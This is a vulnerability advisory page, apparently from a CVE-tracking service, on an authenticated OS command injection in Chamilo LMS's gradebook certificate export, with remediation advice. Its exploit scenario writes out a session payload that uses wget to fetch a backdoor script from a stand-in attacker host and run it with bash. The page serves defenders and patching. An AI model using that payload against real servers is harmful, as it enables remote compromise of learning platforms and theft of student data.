Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain low-privilege credentials
-
DeliveryPoison session _cid variable with shell metacharacters
-
ExploitTrigger certificate export via gradebook AJAX
-
ExecutionInject commands execute via shell_exec()
-
PersistEstablish persistence and exfiltrate data
-
ImpactFull system compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Authenticated user with Chamilo LMS account in versions prior to 2.0.0-RC.3. Attacker must access the gradebook export_all_certificates action in main/inc/ajax/gradebook.ajax.php after poisoning their session's _cid variable with shell metacharacters. No victim interaction required beyond initial login. |
| Impact | Real-world risk is HIGH despite requiring authentication (PR:L). The CVSS 8.8 score accurately reflects severe impact across confidentiality, integrity, and availability (C:H/I:H/A:H) with network accessibility (AV:N) and low attack complexity (AC:L). The authentication requirement provides minimal protection since many educational platforms have open registration or broad user bases. The vulnerability enables full system compromise once credentials are obtained, allowing attackers to pivot from a low-privilege student or instructor account to complete server takeover. The technical details and commit reference in the GitHub advisory provide sufficient information for skilled attackers to develop exploits, though no public exploit identified at time of analysis. Absence of EPSS data (likely due to recent disclosure) prevents probability-based risk scoring, but the combination of simple exploitation, severe impact, and detailed public disclosure makes this a genuine priority for organizations running affected Chamilo versions. The fix availability in version 2.0.0-RC.3 provides clear remediation path, elevating urgency for patching operations. |
| Exploit ScenarioDerived | An attacker registers a low-privilege student account on a vulnerable Chamilo LMS installation or compromises existing credentials through phishing. They manipulate their session data to poison the $_SESSION['_cid'] variable with malicious shell metacharacters such as '; wget http://attacker.com/backdoor.sh -O /tmp/shell.sh; bash /tmp/shell.sh #'. When they trigger the certificate export functionality via the gradebook.ajax.php endpoint, the unsanitized course ID flows into shell_exec(), causing the server to execute their injected commands with the web server's privileges, establishing a reverse shell and granting persistent access to the underlying system. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 14, 2026
OS command injection in Chamilo LMS prior to 2.0.0-RC.3 allows authenticated attackers to execute arbitrary system commands via session poisoning of the course ID parameter. Attackers with low-privilege accounts can manipulate the $_SESSION['_cid'] variable to inject shell metacharacters into shell_exec() calls in the gradebook certificate export functionality, achieving full system compromise. CVSS 8.8 (High) with network attack vector and low complexity. No public exploit identified at time of analysis, though technical details are disclosed in the GitHub advisory. EPSS data not available for this recent CVE.
RemediationAI
Upgrade immediately to Chamilo LMS version 2.0.0-RC.3 or later, available at https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.0-RC.3. The fix implements proper input sanitization using escapeshellarg() to neutralize shell metacharacters before passing the course ID to shell_exec() commands, as documented in commit 62671e5e268f235cddfba704edee90f35c234df1. Until patching is completed, consider implementing application-layer controls such as restricting access to the gradebook certificate export functionality through web application firewall rules targeting main/inc/ajax/gradebook.ajax.php or temporarily disabling the export_all_certificates feature if operationally feasible. Review session management configurations to ensure session data integrity and monitor for suspicious patterns in course ID parameters within session storage. Organizations unable to immediately upgrade should prioritize network segmentation to limit potential lateral movement following compromise and implement enhanced monitoring for shell command execution anomalies.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the Chamilo Learning Management System, a PHP-based open-source e-learning platform. The flaw resides in main/inc/ajax/gradebook.ajax.php within the export_all_certificates action handler. The code retrieves the course identifier via api_get_course_id(), which reads from the session variable $_SESSION['_cid'], and passes this value directly into a shell_exec() command without sanitization using escapeshellarg() or equivalent input validation. CWE-78 (OS Command Injection) occurs when untrusted data flows into system shell commands. In PHP, shell_exec() executes commands through the system shell, making it vulnerable to metacharacter injection (semicolons, pipes, backticks, etc.) if inputs are not properly escaped. The session-based attack vector is particularly dangerous because session data can be poisoned through various means including session fixation, deserialization flaws, or other session manipulation techniques depending on the application's session handling implementation.
Know when Chamilo Lms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (github) · only source for this CVE.
CVSS VectorVendor: github
Lifecycle Timeline
4DescriptionCVE.org
Chamilo LMS is an open-source learning management system. In versions prior to 2.0.0-RC.3, an OS Command Injection vulnerability exists in the main/inc/ajax/gradebook.ajax.php endpoint within the export_all_certificates action, where the course code retrieved from the session variable $_SESSION['_cid'] via api_get_course_id() is concatenated directly into a shell_exec() command string without sanitization or escaping using escapeshellarg(). If an attacker can manipulate or poison their session data to inject shell metacharacters into the _cid variable, they can achieve arbitrary command execution on the underlying server. Successful exploitation grants full access to read system files and credentials, alters the application and database, or disrupts server availability. This issue has been fixed in version 2.0.0-RC.3.
Executive ViewAI
Chamilo LMS versions prior to 2.0.0-RC.3 contain a command injection vulnerability in the gradebook certificate export feature that allows authenticated users with low-privilege accounts to execute arbitrary system commands and potentially compromise the entire LMS infrastructure. Organizations running affected Chamilo instances must prioritize patching to prevent unauthorized access to sensitive course data, student records, and underlying systems.
Pending patch application: (1) Restrict gradebook certificate export feature access to administrative users only; (2) Implement application-level input validation and sanitization on the course ID parameter; (3) Monitor and alert on certificate export functionality usage; (4) Run Chamilo application with minimal filesystem permissions to limit command execution scope. Apply vendor patch to version 2.0.0-RC.3 or later as primary remediation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Chamilo Lms
View allChamilo LMS prior to 1.11.28 has a code injection through SOAP request parameters enabling remote code execution.
Chamilo LMS prior to 1.11.30 has a time-based SQL injection in a different endpoint, providing an additional database ex
Chamilo LMS prior to 1.11.30 has an error-based SQL injection enabling database extraction.
Chamilo LMS v1.11.x was discovered to contain a SQL injection via the doc parameter in main/plagiarism/compilatio/upload
Chamilo LMS 1.11.8 and 2.x allows remote code execution through an lp_upload.php unauthenticated file upload feature. Ra
Chamilo LMS prior to 1.11.30 has a blind SSRF vulnerability enabling internal network reconnaissance from the learning p
Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in C
Chamilo is a learning management system. [CVSS 8.8 HIGH]
Chamilo is a learning management system. Prior to version 1.11.30, an input validation vulnerability exists when importi
Chamilo LMS 1.11.26 is vulnerable to Incorrect Access Control via main/auth/profile. Rated high severity (CVSS 8.8), thi
Unrestricted file upload in `/main/inc/ajax/work.ajax.php` in Chamilo LMS <= v1.11.24 allows authenticated attackers wit
Unrestricted file upload in `/main/inc/ajax/exercise.ajax.php` in Chamilo LMS <= v1.11.24 allows authenticated attackers
EUVD-2026-22722
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB